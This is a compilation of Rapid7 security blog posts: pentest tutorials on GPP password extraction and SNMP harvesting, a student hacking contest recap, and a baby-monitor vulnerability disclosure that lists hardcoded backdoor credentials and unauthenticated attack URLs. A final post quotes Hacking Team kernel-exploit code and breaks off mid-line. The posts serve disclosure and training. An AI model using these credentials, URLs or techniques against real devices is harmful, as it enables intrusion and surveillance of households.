Rapid7 Blog

Hacking  

Pentesting in the Real World: Group Policy Pwnage

This is the third in a series of blog topics by penetration testers, for penetration testers, highlighting some of the advanced pentesting techniques they'll be teaching in our new Network Assault and Application Assault certifications, opening for registration this week. For more information, check out…

This is the third in a series of blog topics by penetration testers, for penetration testers, highlighting some of the advanced pentesting techniques they'll be teaching in our new Network Assault and Application Assault certifications, opening for registration this week. For more information, check out the training page at www.rapid7.com/services/training-certification/penetration-testing-training.jsp Background Group Policy Preferences (GPP) are a powerful tool that once allowed administrators to create domain policies with embedded credentials. These policies allowed administrators to set local accounts, embed credentials for the purposes of mapping drives, or perform other tasks that may otherwise require an embedded password in a script. While a useful tool, the storage mechanism for the credentials was flawed and allowed attackers to trivially decrypt the plaintext credentials. While addressed in MS14-025, this patch only prevents new policies from being created, and any legacy GPPs containing credentials must be found and removed. Learning how to find and exploit these GPPs that contain credentials is an important tool to have in the pentester's arsenal because the policies may contain highly privileged accounts. GPP uses Embedding credentials in group policy preferences solved a lot of problems for administrators. A GPP could be used to easily apply a common local administrator password to all workstations, apply an entirely new administrator account (as shown below), schedule tasks as other users, map drives, apply printers, or several other uses. Often, these kinds of policies can involve service accounts that frequently have elevated privileges. In the example below, a GPP is set to add the account ‘new_local_admin' to all domain systems. We'll use this account as a demonstration later on. On pentests I've performed, I've encountered GPPs being used to set local administrator accounts, schedule tasks or even applying a service account to a system which often has elevated privileges. Regardless of why they originally were created, their mere existence is a great resource for a pentester. Can you keep a secret? Given the wide variety of uses for GPPs that contain credentials, it is fairly common to find them on penetration tests, and often with credentials ranging from local admin to domain admin.  While the functionality of GPPs is very powerful, the mechanism of storing those credentials was compromised in a way that made them trivial to decrypt. Even Microsoft no longer advocates storing credentials in GPPs, and addressed the issue in MS14-025 (https://support.microsoft.com/en-us/kb/2962486)). Put in basic terms, applying any account, administrative or not, via GPP stores the account's password in an insecure manner. Specifically, the password that is stored in the policy is encrypted with a known key, helpfully documented by Microsoft here: https://msdn.microsoft.com/en-us/library/cc422924.aspx, meaning anyone who can access the GPP can decrypt the store and obtain the plain text password, no matter the complexity. Since GPPs are stored on the domain controller in the SYSVOL share, this means that at a minimum all domain users can access the encrypted credentials. To put it another way: While MS14-025 does address the issue to some degree, it only does so by blocking or warning against the creation of new policies that can apply account credentials (https://blogs.technet.microsoft.com/srd/2014/05/13/ms14-025-an-update-for-group- policy-preferences/)), which is perfectly reasonable as clearly no one wants a patch that deletes existing credentials. However, this means that if any current GPPs are already applying credentials they must be found and manually removed, along with considerations for any functionality such as mapping of drives or printers that may break as a result. As these policies rarely get attention from IT other than during the initial creation, and are more ‘set and forget,' many times a penetration tester will find an account that was provisioned years before and simply forgotten about. Attacking GPPs Obtaining credentials is a primary goal during a pentest, and group policy preferences is a go-to attack for many testers as it is stealthy and high reward. Since group policies are stored in SYSVOL on the domain controller, any domain user can read the policy and therefore decrypt the stored passwords. Below is an example of how the password for ‘new_local_admin' is stored in a groups.xml file. This also means any phishing attack or other foothold on any domain system will result in a leak of all credentials stored in group policy preferences. Demonstrating this is very easy so try this yourself with the Metasploit smb_enum_gpp module. If you run smb_enum_gpp against a domain controller and get credentials in your result, then you'll know you have this vulnerability. Below is the password for ‘new_local_admin' we set in the GPP. Even without Metasploit, one can extract the cpassword value from the files on SYSVOL and pass them to the gpp-decrypt tool in Kali Linux which will decrypt it: While GPPs are mainly useful for privilege escalation, persistence, or lateral movement, which are all essentially post-exploitation activities, I've run into some even weirder scenarios during penetration tests. In the worst example, anyone on a local network was able read the SYSVOL share and extract credentials via anonymous access to a domain controller. This sort of misconfiguration can make a bad situation a worst case scenario as it allowed an unauthenticated attacker who had only network access to gain credentials easily. After dumping the active directory group memberships, also via anonymous access, wouldn't you know that this account (that was effectively world readable) was a domain admin! That's about the nastiest of worst-case scenarios. After finding and exploiting this issue numerous times, I've found some common themes: Many organizations simply aren't aware that GPP behaves in this manner. They may think that the MS14-025 patch completely remediated the issue. Organizations don't even know they have GPPs with credentials. Number three is by far the most common. Often, the age of the accounts indicates they were set years ago and have been functioning as intended.  Usually these are service accounts, commonly with no password expiration. IT administrator turnover or bad documentation simply results in these policies being overlooked. Solutions? The first step is to perform an accounting of group policies that apply credentials. Speaking as a pentester, I feel the easiest way is to use attack methods and tools to find the usage of GPPs that contain credentials. As mentioned before, the Metasploit smb_enum_gpp module (https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_enum_gpp) can be used to enumerate GPPs that contain credentials, but realistically a search of the SYSVOL share for the files that contain the credentials can also be performed with a script. Microsoft even supplies such a script in kb article 2962486 (https://support.microsoft.com/en-us/kb/2962486). If GPPs are used to apply local administrator accounts, Microsoft also has the Local Administrator Password Solution (LAPS) tool (https://www.microsoft.com/en-us/download/details.aspx?id=46899)) to help provision these accounts without group policy preferences. So to recap, legacy GPPs that contain credentials are a great way for penetration testers to gain credentials easily from an insecure credential store on domain controllers. They are easy to find, are often privileged accounts, and accessing them doesn't usually ring alarm bells. Interested in learning how to use GPP and similar techniques on your penetration test? Register for our next Network Assault class, and keep an eye out for the other blog posts in this series, which we'll be releasing throughout the week.

SNMP Data Harvesting During Penetration Testing

A few months back I posted a blog entry, SNMP Best Practices, to give guidance on best methods to reduce security risks as they relate to SNMP. Now that everyone has had time to fix all those issues, I figured it's time to give some…

A few months back I posted a blog entry, SNMP Best Practices, to give guidance on best methods to reduce security risks as they relate to SNMP. Now that everyone has had time to fix all those issues, I figured it's time to give some guidance to penetration testers and consultants on how to exploit exposed SNMP services by harvesting data and using it to expand their attack footprint. The first question when approaching SNMP is identifying exposed services. To discover exposed services we often use the port scanner tool, NMAP, to scan for UDP port 161. Since most of the time we additionally want to enumerate the data, it is just as easy to automate the discovery and data extraction with simple scripts written in Python or Perl. I personally tend to use Perl and I have created such a script, which can be downloaded, from my GitHub page. If you choose to use my script, the syntax is very simple and is shown below in Figure 1: When I use this script, I set the target to the subnet range of the network I am testing. For example, if testing an internal network of 10.10.0.0/16, I would use the command, “./snmpbw.pl 10.10.0.0/16 public 2 32.” This command will spin up 32 threads and attempt to conduct a snmpbulkwalk command on every host exposing SNMP on UDP port 161 within the entire /16 subnet range. When a device is found with SNMP enabled and a community string of “public,” the script will walk all MIB tables starting at ".1" then return the data and save it in a file for further offline analysis. I have found this method to be very fruitful in harvesting valuable data, which can then be used to conduct further attacks against the environment. I typically kick off this SNMP data harvesting attack script once I have determined the IP address ranges in scope. Then, I just let it run in the background while I continue my network reconnaissance work. Once the snmpbw script has completed running, I then examine the recovered data. One of the first things I do is extract the sysDesc .1.3.6.1.2.1.1.1.0 MIB data from each file to determine what devices I have harvested information from. This can easily be done using the following grep command: grep ".1.3.6.1.2.1.1.1.0" *.snmp An example of the results from this grep command is shown below in Figure 2: So now that you have harvested data from exposed SNMP services, what kind of information could you expect to find? Actually, it is quite amazing what can be discovered within the SNMP MIB data. With a little exploration, I often find some of the following usable pieces of data: Email addresses SNMP community strings Password hashes Clear text passwords Of course, the effort it takes to discover usable information can often be very time consuming. MIB dumps can often be massive, running into multiple megabytes. So I have spent some time examining this issue trying to determine methods to reduce the time involved in examining the data and figured I would share a couple of these with the Community. One of my favorite things I love to do with SNMP MIB data is trying to identify other valid SNMP community strings. Often this data can be used to gain further access to other system. As an example, if I can identify the private community string used by an organization on their Cisco IOS routers, then I could possibly use that community string to extract the running configurations from those routers. The best method for finding such data has often been related to SNMP Trap data. So again, using the following grep we can parse through a lot of MIB data quickly searching for the key word of “trap”: grep -i "trap" *.snmp The following example (Figure 3) shows information I was able to successfully enumerate from the SNMP data using the key word of “trap.” In this example, I was successful in identifying several SNMP community strings, which I then successfully used to gain, read, and write access to the SNMP of multiple network devices. I was also successful in using this data to extract the running configuration from nearly all of the Cisco routers on the network. Another area of interest is logs, I have discovered that there are some devices that hold logs within the MIB tables. These logs can also contain failed logon attempts. Think about the last time you logged into a device via Telnet or SSH and inadvertently entered your password as the username. Sadly, I must admit, I do this quite often. That brings me back to the concept of devices storing logs in the SNMP MIB data. By examining the SNMP data, you could possibly find password information stored in MIB data from users who accidentally enter passwords in the wrong fields during authentication. To retrieve this log information, I typically search for key words such as fail, failed or login and examine that data to see if there is anything of value. grep -i "fail" *.snmp The following example (Figure 4) shows a snippet of logs from a SNMP MIB extraction showing a failed login attempt where the password was used for the username. The cool part is that the next log entry will most likely show a successful authentication for the true user name. It is also important to note that these logs are usually short and they end up rolling over quickly, so make sure you get a copy before launching any brute force attacks against the device. If not, you may end up with SNMP MIB extraction data that looks like the logs in Figure 5: In conclusion, I hope these few examples will give you some good ideas on how to extract and use SNMP data. Also, I think it is important to point out that by taking the time to better examine the data exposed by SNMP, we can better define the risk associated with poorly secured SNMP solution to our customers.

All About the Very First Rapid7 Hacker Games

We just completed our first successful run of the first-ever Rapid7 Hacker Games competition, so I thought it'd be appropriate to do a little write-up on all the fun activities.  So, what exactly is the Rapid7 Hacker Games competition? Well, a hacking competition! Specifically, a…

We just completed our first successful run of the first-ever Rapid7 Hacker Games competition, so I thought it'd be appropriate to do a little write-up on all the fun activities.  So, what exactly is the Rapid7 Hacker Games competition? Well, a hacking competition! Specifically, a hacking competition for teams of university students set up via a virtual lab, so all participants could compete simultaneously from a remote location of their choosing.  Each university fielded a team of up to 5 students who worked together on a set of hacking challenges, and we had 17 participants in total. The teams competed against each other and against the clock to see who could get the farthest within the competition course and set time. The event ran December 5, 2015 from 1 PM - 5 PM Eastern time. The challenge course consisted of three main components: Hands-on System & Service Exploitation Hands-on Web App Exploitation Trivia Challenge Students applied real-world skills, tools, and methodologies to overcome a variety of obstacles for each section of the course. This included exploiting systems with Metasploit and Metasploit Pro, among other tools. The challenge was timed, with bonus points for the first team to reach each goal.  So while the core challenge required technical ability, truly succeeding also required teamwork, communication, and collaboration. The competition itself Four universities competed in our pilot program: New England Institute of Technology (NEIT) Northern Kentucky University (NKU) University of Maryland University College (UMUC) Western Dakota Tech (WDT) We had quite a few more express interest that weren't able to participate this round. If you were one of them, please don't worry, there will be more Hacker Games events to come   For this pilot program, we reached out to universities involved in the Rapid7 Higher Education Program, which provides academic licenses and education material for Nexpose Enterprise and Metasploit Pro. It was a hard-fought competition with many lead changes. At the end of the day, thanks to a strong fourth-quarter surge, one team emerged as the winner: University of Maryland University College (UMUC)! Congratulations to the UMUC team! And a sincere thanks to everyone who competed. As a prize for their participation, every student participant was awarded an exam voucher for the MSPCS Certification Exam.  And of course, for the winning team there was a special award: Passes to UNITED 2016. (All in all, about $10,000 worth of prizes were awarded!) What's next? This was the first ever Hacker Games competition, and we would love to see it become the first of many. Keep an eye on this blog for more information and announcements regarding future Hacker Games. You can also make sure that your university gets involved with the Rapid7 Higher Education Program. Thank you and stay tuned for more!

#IoTSec and the Business Impact of Hacked Baby Monitors

By now, you've probably caught wind of Mark Stanislav's ten newly disclosed vulnerabilities last week, or seen our whitepaper on baby monitor security – if not, head on over to the IoTSec resources page.You may also have noticed that Rapid7 isn't really a Consumer…

By now, you've probably caught wind of Mark Stanislav's ten newly disclosed vulnerabilities last week, or seen our whitepaper on baby monitor security – if not, head on over to the IoTSec resources page.You may also have noticed that Rapid7 isn't really a Consumer Reports-style testing house for consumer gear. We're much more of an enterprise security services and products company, so what's the deal with the baby monitors? Why spend time and effort on this?The Decline of Human DominanceWell, this whole “Internet of Things” is in the midst of really taking off, which I'm sure doesn't come as news. According to Gartner, we're on track to see 25 billion-with-a-B of these Things operating in just five years, or something around three to four Things for every human on Earth.Pretty much every electronic appliance in your home is getting a network stack, an operating system kernel, and a cloud-backed service, and it's not like they have their own network full of routers and endpoints and frequencies to do all this on. They're using the home's WiFi network, hopping out to the Internet, and talking to you via your most convenient screen.Pwned From HomeIn the meantime, telecommuting increasingly blurs the lines between the “work” network and the “home” network. From my home WiFi, I check my work e-mail, hop on video conferences, commit code to GitHub (both public and private), and interact with Rapid7's assets directly or via a cloud service pretty much every day. I know I'm not alone on this. The imaginary line between the “internal” corporate network and the “external” network has been a convenient fiction for a while, and it's getting more and more porous as traversing that boundary makes more and more business sense. After all, I'm crazy productive when I'm not in the office, thanks largely to my trusty 2FA, SSO, and VPN.So, we're looking at a situation where you have a network full of Things that haven't been IT-approved (as if that stopped anyone before) all chattering away, while we're trying to do sensitive stuff like access and write sensitive and proprietary company data, on the very same network.Oh, and if the aftermarket testing we've seen (and performed) is to be believed, these devices haven't had a whole lot of security rigor applied.Compromising a network starts with knocking over that low-hanging fruit, that one device that hasn't seen a patch in forever, that doesn't keep logs, that has a silly password on an administrator-level account – pretty much, a device that has all of the classic misfeatures common to video baby monitors and every other early market IoT device.Let's Get HackingIndependent research is critical in getting the point across that this IoT revolution is not just nifty and useful. It needs to be handled with care. Otherwise, the IoT space will represent a mountain of shells, pre-built vulnerable platforms, usable by bad guys to get footholds in every home and office network on Earth.If you're responsible for IT security, maybe it's time to take a survey of your user base and see if you can get a feel for how many IoT devices are one hop away from your critical assets. Perhaps you can start an education program on password management that goes beyond the local Active Directory, and gets people to take all these passwords seriously. Heck, teach your users how to check and change defaults on their new gadgets, and how to document their changes for when things go south.In the meantime, check out our webinar tomorrow for the technical details of Mark's research on video baby monitors, and join us over on Reddit and “Ask Me Anything” about IoT security and what we can do to get ahead of these problems.

#IoTsec AMA on Reddit: Sept. 9 @ 3:30pm EST with Mark Stanislav & Tod Beardsley

[update 3pm EST Sept 9] This AMA is now live! The direct link is here:  https://www.reddit.com/r/IAmA/comments/3ka38q/we_are_professional_iot_hackers_and_researchers/ Join us and ask your questions! Following up on their research on IoT baby monitor…

[update 3pm EST Sept 9] This AMA is now live! The direct link is here:  https://www.reddit.com/r/IAmA/comments/3ka38q/we_are_professional_iot_hackers_and_researchers/ Join us and ask your questions! Following up on their research on IoT baby monitor vulns, Mark Stanislav & Tod Beardsley will be doing an Ask Me Anything (AMA) on Reddit in r/IAMA this Wednesday, September 9, at 3:30pm EST. They'll be answering any/all of your questions on Internet of Things (IoT) security, as well as their baby monitor security research findings. Make sure to join us in the subreddit right here: https://www.reddit.com/r/iama/ Need proof? Here you go: Hey #IoTSec folks, @markstanislav and I are doing an r/IamA on Wed 2015-09-09 15:30 EST on #IoT sec research, esp. baby monitors — Tod Beardsley (@todb) September 4, 2015 Hey #IoTSec folks, @todb and I are doing an r/IamA on Wed 2015-09-09 15:30 EST on #IoT sec research, esp. baby monitors — Mark Stanislav (@markstanislav) September 4, 2015

#IoTsec Disclosure: 10 New Vulnerabilities for Several Video Baby Monitors

Usually, these disclosure notices contain one, maybe two vulnerabilities on one product. Not so for this one; we've got ten new vulnerabilities to disclose today. If you were out at DEF CON 23, you may have caught Mark Stanislav's workshop, “The Hand that Rocks the…

Usually, these disclosure notices contain one, maybe two vulnerabilities on one product. Not so for this one; we've got ten new vulnerabilities to disclose today. If you were out at DEF CON 23, you may have caught Mark Stanislav's workshop, “The Hand that Rocks the Cradle: Hacking IoT Baby Monitors.” You may have also noticed some light redaction in the slides, since during the course of that research, Mark uncovered a number of new vulnerabilities across several video baby monitors. Vendors were notified, CERT/CC was contacted, and CVEs have all been assigned, per the usual disclosure policy, which brings us to the public disclosure piece, here. For more background and details on the IoT research we've performed here at Rapid7, we've put together a collection of resources on this IoT security research. There, you can find the whitepaper covering many more aspects of IoT security, some frequently asked questions around the research, and a registration link for next week's live webinar with Mark Stanislav and Tod Beardsley. Summary CVE-2015-2886 Remote R7-2015-11.1 Predictable Information Leak iBaby M6 CVE-2015-2887 Local Net, Device R7-2015-11.2 Backdoor Credentials iBaby M3S CVE-2015-2882 Local Net, Device R7-2015-12.1 Backdoor Credentials Philips In.Sight B120/37 CVE-2015-2883 Remote R7-2015-12.2 Reflective, Stored XSS Philips In.Sight B120/37 CVE-2015-2884 Remote R7-2015-12.3 Direct Browsing Philips In.Sight B120/37 CVE-2015-2888 Remote R7-2015-13.1 Authentication Bypass Summer Baby Zoom Wifi Monitor & Internet Viewing System CVE-2015-2889 Remote R7-2015-13.2 Privilege Escalation Summer Baby Zoom Wifi Monitor & Internet Viewing System CVE-2015-2885 Local Net, Device R7-2015-14 Backdoor Credentials Lens Peek-a-View CVE-2015-2881 Local Net R7-2015-15 Backdoor Credentials Gynoii CVE-2015-2880 Device R7-2015-16 Backdoor Credentials TRENDnet WiFi Baby Cam TV-IP743SIC Disclosure Details Vendor: iBaby Labs, Inc. The issues for the iBaby devices were disclosed to CERT under vulnerability note VU#745448. Device: iBaby M6 The vendor's product site for the device assessed is https://ibabylabs.com/ibaby-monitor-m6 Vulnerability R7-2015-11.1: Predictable public information leak (CVE-2015-2886) The web site ibabycloud.com has a vulnerability by which any authenticated user to the ibabycloud.com service is able to view camera details for any other user, including video recording details, due to a direct object reference vulnerability. The object ID parameter is eight hexadecimal characters, corresponding with the serial number for the device. This small object ID space enables a trivial enumeration attack, where attackers can quickly brute force the object IDs of all cameras. Once an attacker is able to view an account's details, broken links provide a filename that is intended to show available "alert" videos that the camera recorded. Using a generic AWS CloudFront endpoint found via sniffing iOS app functionality, this URL can have the harvested filename appended and data accessed from the account. This effectively allows anyone to view videos that were created from that camera stored on the ibabycloud.com service, until those videos are deleted, without any further authentication. Relevant URLs Access camera's details, including video-recording filenames:http://www.ibabycloud.com/cam/index/camid/%7Bserial_number%7D/camtype/%7Bcam_type%7D [any authenticated user] Access a camera's video recording: http://d3a9yv3r4ycsw2.cloudfront.net/monitor/alert/{serial_number}/{filename} [no authentication required] Additional Details The ibabycloud.com authentication procedure has been non-functional as of at least June, 2015, continuing through the publication of this paper in September, 2015. These errors started after testing was conducted for this research, and today, do not allow for logins to the cloud service. That noted, it may be possible to still get a valid session via the API and subsequently leverage the site and API to gain these details. Mitigations Today, this attack is more difficult without prior knowledge of the camera's serial number, as all logins are disabled on the ibabycloud.com website. Attackers must, therefore, acquire specific object IDs by other means, such as sniffing local network traffic. In order to avoid local network traffic cleartext exposure, customers should inquire with the vendor about a firmware update, or cease using the device. Device: iBaby M3S The vendor's product site for the device assessed is https://ibabylabs.com/ibaby-monitor-m3s Vulnerability R7-2015-11.2, Backdoor Credentials (CVE-2015-2887) The device ships with hardcoded credentials, accessible from a telnet login prompt and a UART interface, which grants access to the underlying operating system. Those credentials are detailed below. Operating System (via Telnet or UART) Username: admin Password: admin Mitigations In order to disable these credentials, customers should inquire with the vendor about a firmware update. UART access can be limited by not allowing untrusted parties physical access to the device. A vendor-provided patch should disable local administrative logins, and in the meantime, end-users should secure the device's housing with tamper-evident labels. Disclosure Timeline Sat, Jul 04, 2015: Initial contact to vendor Mon, Jul 06, 2015: Vendor reply, requesting details for ticket #4085 Tue, Jul 07, 2015: Disclosure to vendor Tue, Jul 21, 2015: Disclosure to CERT Fri, Jul 24, 2015: Confirmed receipt by CERT Wed, Sep 02, 2015: Public disclosure Vendor: Philips Electronics N.V. The issue for the Philips device was disclosed to CERT under vulnerability note VU#569536. Device: Philips In.Sight B120/37 The vendor's product site for the device assessed is http://www.usa.philips.com/c-p/B120_37/in.sight-wireless-hd-baby-monitor Vulnerability R7-2015-12.1, Backdoor Credentials (CVE-2015-2882) The device ships with hardcoded and statically generated credentials which can grant access to both the local web server and operating system. The operating system "admin" and "mg3500" account passwords are present due to the stock firmware used by this camera, which is used by other cameras on the market today. The web service "admin" statically-generated password was first documented by Paul Price at his blog[1]. In addition, while the telnet service may be disabled by default on the most recent firmware, it can be re-enabled via an issue detailed below. Operating System (via Telnet or UART) Username: root Password: b120root Operating System (via Telnet or UART) Username: admin Password: /ADMIN/ Operating System (via Telnet or UART) Username: mg3500 Password: merlin Local Web Server Reachable via http://{device_ip}/cgi-bin/{script_path} Username: user Password: M100-4674448 Local Web Server Reachable via http://{device_ip}/cgi-bin/{script_path} Username: admin Password: M100-4674448 A recent update changes this password, but the new password is simply the letter 'i' prefixing the first ten characters of the MD5 hash of the device's MAC address. Vulnerability R7-2015-12.2, Reflective and Stored XSS (CVE-2015-2883) A web service used on the backend of Philips' cloud service to create remote streaming sessions is vulnerable to reflective and stored XSS. Subsequently, session hijacking is possible due to a lack of an HttpOnly flag. When accessing the Weaved cloud web service[2] as an authenticated user, multiple pages have a mixture of reflective and stored XSS in them, allowing for potential session hijacking. With this access, a valid streaming session could be generated and eavesdropped upon by an attacker. Two such examples are: https://developer.weaved.com/portal/members/deviceSettings.php?id={mac_address}& name={base64_encoded_xss_string} https://developer.weaved.com/portal/members/shareDevice.php?id={mac_address}&nam e={base64_encoded_xss_string} Vulnerability R7-2015-12.3, Direct Browsing via Insecure Streaming (CVE-2015-2884) The method for allowing remote viewing uses an insecure transport, does not offer secure streams protected from attackers, and does not offer sufficient protection for the the camera's internal web applications. Once a remote viewing stream has been requested, a proxy connection to the camera's internal web service via the cloud provider Yoics[3] is bound to a public hostname and port number. These port numbers appear to range from port 32,000 to 39,000 as determined from testing.This bound port is tied to a hostname with the pattern of proxy[1,3-14].yoics.net, limiting the potential number of port and host combinations to an enumerable level. Given this manageable attack space, attackers can test for for a HTTP 200 response in a reasonably short amount of time. Once found, administrative privilege is available without authentication of any kind to the web scripts available on the device. Further, by accessing a Unicode-enabled streaming URL (known as an "m3u8" URL), a live video/audio stream will be accessible to the camera and appears to stay open for up to 1 hour on that host/port combination. There is no blacklist or whitelist restriction on which IP addresses can access these URLs, as revealed in testing. Relevant URLs Open audio/video stream of a camera: http://proxy{1,3-14}.yoics.net:{32000-39000}/tmp/stream2/stream.m3u8 [no authentication required] Enable Telnet service on camera remotely: http://proxy{1,3-14}.yoics.net:{32000-39000}/cgi-bin/cam_service_enable.cgi [no authentication required] Mitigations In order to disable the hard-coded credentials, customers should inquire with the vendor about a firmware update. UART access can be limited by not allowing untrusted parties physical access to the device. A vendor-provided patch should disable local administrative logins, and in the meantime, end-users should secure the device's housing with tamper-evident labels. In order to avoid the XSS and cleartext streaming issues with Philips' cloud service, customers should avoid using the remote streaming functionality of the device and inquire with the vendor about the status of a cloud service update. Additional Information Prior to publication of this report, Philips confirmed with Rapid7 the tested device was discontinued by Philips in 2013, and the current manufacturer and distributor is Gibson Innovations. Gibson has developed a solution for the identified vulnerabilities, an expects to make updates available by September 4, 2015. Disclosure Timeline Sat, Jul 04, 2015: Initial contact to vendor Mon, Jul 06, 2015: Vendor reply, requesting details Tue, Jul 07, 2015: Philips Responsible Disclosure ticket number 15191319 assigned Tue, Jul 17, 2015: Phone conference with vendor to discuss issues Tue, Jul 21, 2015: Disclosure to CERT Fri, Jul 24, 2015: Confirmed receipt by CERT Thu, Aug 27, 2015: Contacted by Weaved to validate R7-2015-12.2 Tue, Sep 01, 2015: Contacted by Philips regarding the role of Gibson Innovations Wed, Sep 02, 2015: Public disclosure Vendor: Summer Infant The issues for the Summer Infant device was disclosed to CERT under vulnerability note VU#837936. Device: Summer Baby Zoom WiFi Monitor & Internet Viewing System The vendor's product site for the device assessed is http://www.summerinfant.com/monitoring/internet/babyzoomwifi. Vulnerability R7-2015-13.1, Authentication Bypass (CVE-2015-2888) An authentication bypass allows for the addition of an arbitrary account to any camera, without authentication. The web service MySnapCam[4] is used to support the camera's functionality, including account management for access. A URL retrievable via an HTTP GET request can be used to add a new user to the camera. This URL does not require any of the camera's administrators to have a valid session to execute this request, allowing anyone requesting the URL with their details against any camera ID to have access added to that device. After a new user is successfully added, an e-mail will then be sent to an e-mail address provided by the attacker with authentication details for the MySnapCam web site and mobile application. Camera administrators are not notified of the new account. Relevant URL Add an arbitrary user to any camera: https://swifiserv.mysnapcam.com/register/?fn={first_name}&ln={last_name}&email={ email}&userType=3&userGroup={id} [no authentication required] Vulnerability R7-2015-13.2, Privilege Escalation (CVE-2015-2889) An authenticated, regular user can access an administrative interface that fails to check for privileges, leading to privilege escalation. A "Settings" interface exists for the camera's cloud service administrative user and appears as a link in their interface when they login. If a non-administrative user is logged in to that camera and manually enters that URL, they are able to see the same administrative actions and carry them out as if they had administrative privilege. This allows an unprivileged user to elevate account privileges arbitrarily. Relevant URL Access administrative actions as an unprivileged, but valid, user: https://www.summerlinkwifi.com/settings_users.php [a user account for the camera is required] Mitigations In order to avoid exposure to the authentication bypass and privilege escalation, customers should use the device in a local network only mode, and use egress firewall rules to block the camera from the Internet. If Internet access is desired, customers should inquire about an update to Summer Infant's cloud services. Disclosure Timeline Sat, Jul 04, 2015: Initial contact to vendor Tue, Jul 21, 2015: Disclosure to CERT Fri, Jul 24, 2015: Confirmed receipt by CERT Tue, Sep 01, 2015: Confirmed receipt by vendor Wed, Sep 02, 2015: Public disclosure Vendor: Lens Laboratories(f) The issues for the Lens Laboratories(f) device was disclosed to CERT under vulnerability note VU#931216. Device: Lens Peek-a-View The vendor's product site for the device assessed is http://www.amazon.com/Peek---view-Resolution-Wireless-Monitor/dp/B00N5AVMQI/ Of special note, it has proven difficult to find a registered domain for this vendor. All references to the vendor point at Amazon directly, but Amazon does not appear to be the manufacturer or vendor. Vulnerability R7-2015-14, Backdoor Credentials (CVE-2015-2885) The device ships with hardcoded credentials, accessible from a UART interface, which grants access to the underlying operating system, and via the local web service, giving local application access via the web UI. Due to weak filesystem permissions, the local OS ‘admin' account has effective ‘root' privileges. Operating System (via UART) Username: admin Password: 2601hx Local Web Server Site: http://{device_ip}/web/ Username: user Password: user Local Web Server Site: via http://{device_ip}/web/ Username: guest Password: guest Mitigations In order to disable these credentials, customers should inquire with the vendor about a firmware update. UART access can be limited by not allowing untrusted parties physical access to the device. A vendor-provided patch should disable local administrative logins, and in the meantime, end-users should secure the device's housing with tamper-evident labels. Disclosure Timeline Sat, Jul 04, 2015: Attempted to find vendor contact Tue, Jul 21, 2015: Disclosure to CERT Fri, Jul 24, 2015: Confirmed receipt by CERT Wed, Sep 02, 2015: Public disclosure Vendor: Gynoii, Inc. The issues for the Gynoii devices was disclosed to CERT under vulnerability note VU#738848. Device: Gynoii The vendor's product site for the device assessed is http://www.gynoii.com/product.html Vulnerability R7-2015-15, Backdoor Credentials (CVE-2015-2881) The device ships with hardcoded credentials, accessible via the local web service, giving local application access via the web UI. Local Web Server Site: http://{device_ip}/admin/ Username: guest Password: guest Local Web Server Site: http://{device_ip}/admin/ Username: admin Password: 12345 Mitigations In order to disable these credentials, customers should inquire with the vendor about a firmware update. Disclosure Timeline Sat, Jul 04, 2015: Initial contact to vendor Tue, Jul 21, 2015: Disclosure to CERT Fri, Jul 24, 2015: Confirmed receipt by CERT Wed, Sep 02, 2015: Public disclosure Vendor: TRENDnet The issues for the TRENDnet device was disclosed to CERT under vulnerability note VU#136207. Device: TRENDnet WiFi Baby Cam TV-IP743SIC The vendor's product site for the device under test is http://www.trendnet.com/products/proddetail.asp?prod=235_TV-IP743SIC Vulnerability R7-2015-16: Backdoor Credentials (CVE-2015-2880) The device ships with hardcoded credentials, accessible via a UART interface, giving local, root-level operating system access. Operating System (via UART) Username: root Password: admin Mitigations In order to disable these credentials, customers should inquire with the vendor about a firmware update. UART access can be limited by not allowing untrusted parties physical access to the device. A vendor-provided patch should disable local administrative logins, and in the meantime, end-users should secure the device's housing with tamper-evident labels. Disclosure Timeline Sat, Jul 04, 2015: Initial contact to vendor Mon, Jul 06, 2015: Vendor reply, details disclosed to vendor Sun, Jul 16, 2015: Clarification sought by vendor Mon, Jul 20, 2015: Clarification provided to vendor Tue, Jul 21, 2015: Disclosure to CERT Wed, Sep 02, 2015: Public disclosure Not Just Baby Monitors As you can see, there were several new findings across a range of vendors, all operating in the same space. Here at Rapid7, we believe this is not unique to the video baby monitor industry in particular, but is indicative of a larger, systemic problem with IoT in general. We've put together a collection of IoT resources, including a whitepaper and a FAQ, covering these issues, which should fill you in on where we're at on this IoT security journey. Join us next week for a live webinar where Mark Stanislav and Tod Beardsley will discuss these issues further, or just use the #IotSec hashtag on Twitter to catch our attention with a question or comment. In the meantime, keep an eye on those things keeping an eye on your infants and toddlers. Update (Sep 02, 2015): Gynoii acknowledged the above research shortly after publication and are assessing appropriate patch strategies. Update (Sep 02, 2015): iBaby Labs communicated that access token expiration and secure communication channels have been implemented. Update (Sep 02, 2015): Summer Infant tweeted that all reported issues have been resolved. Update (Sep 03, 2015): TRENDnet reports updated firmware available here (version 1.0.3), released on Sep 02, 2015. [1] http://www.ifc0nfig.com/a-close-look-at-the-philips-in-sight-ip-camera-range/ [2] http://www.weaved.com/ [3] https://www.yoics.net [4] http://www.mysnapcam.com/

Revisiting an Info Leak

Today an interesting tweet from Greg Linares (who has been posting awesome analysis on twitter lately!) came to our attention, concerning the MS15-080 patch: This patch (included in MS15-080) may have been intended stop one of the Window kernel bugs exploited by Hacking Team. But,…

Today an interesting tweet from Greg Linares (who has been posting awesome analysis on twitter lately!) came to our attention, concerning the MS15-080 patch: This patch (included in MS15-080) may have been intended stop one of the Window kernel bugs exploited by Hacking Team. But, after our analysis, it appears that there is still an information leak vulnerability present after the patch is applied. Since the patch is related to win32k!NtGdiGetTextMetricsW, we suspected it could be for the initial info leak exploited in vlad902/hacking-team-windows-kernel-lpe · GitHub: // Leak the base address of `win32k.sys`. This infoleak is slightly different from // the standalone infoleak because we need to handle the position-independent nature // of this exploit. ULONGLONG win32k_infoleak() { // Declaring functions that we want to use (see FunctionSignatures.h). FuncCreateCompatibleDC MyCreateCompatibleDC; FuncDeleteDC MyDeleteDC; ULONGLONG win32k_base_addr = 0; HDC hdc; // Get function addresses. MyCreateCompatibleDC = (FuncCreateCompatibleDC)GetProcAddressWithHash(0xA5314068); MyDeleteDC = (FuncDeleteDC)GetProcAddressWithHash(0x63B566A2); hdc = MyCreateCompatibleDC(NULL); if (hdc == NULL) { return NULL; } // Leak the address and retrieve it from `buffer`. MyGetTextMetricsW(hdc, INFOLEAK_BUFFER); DWORD hi = *(DWORD *)(INFOLEAK_BUFFER + 0x38 + 4); // High DWORD of leaked address DWORD lo = *(DWORD *)(INFOLEAK_BUFFER + 0x38); // Low DWORD of 